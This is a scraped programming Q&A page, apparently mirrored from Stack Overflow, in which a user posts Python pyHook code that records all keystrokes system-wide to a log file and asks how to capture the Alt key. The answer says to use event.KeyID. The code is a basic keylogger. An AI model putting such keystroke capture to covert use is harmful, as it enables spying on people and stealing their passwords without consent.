问题
I was writing this type-recording program when I encountered a problem - Alt key doesn't have an Ascii number so I can't hook it in the regular way. This is my source code without the Alt hooking try, the question is - how do I hook Alt? I know that there is Class variable named "Alt" and built-in function named "IsAlt" but I didn't get how to use them.
import pythoncom,pyHook
log = ""
logpath = "log.txt"
openfile = open(logpath,"w")
openfile.write("")
def OnKeyboardEvent(event):
try:
global log
if event.Ascii == 8:
log = "[BS]"
elif event.Ascii == 9:
log = "[TAB]"
elif event.Ascii == 13:
log = "[NL]"
elif event.Ascii == 27:
log = "[ESC]"
elif event.Ascii == 15:
openfile.close()
exit()
else:
log = chr(event.Ascii)
openfile.write(log)
except:
pass
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
回答1:
I foud it!! Instead of using "event.Ascii" to map keys, use "event.KeyID"!! Note that for keys like "AltGr" you have 2 mapping key IDs: 1 for key pressed and other for key released. Have a good day.
来源:https://stackoverflow.com/questions/13494234/python-alt-hooking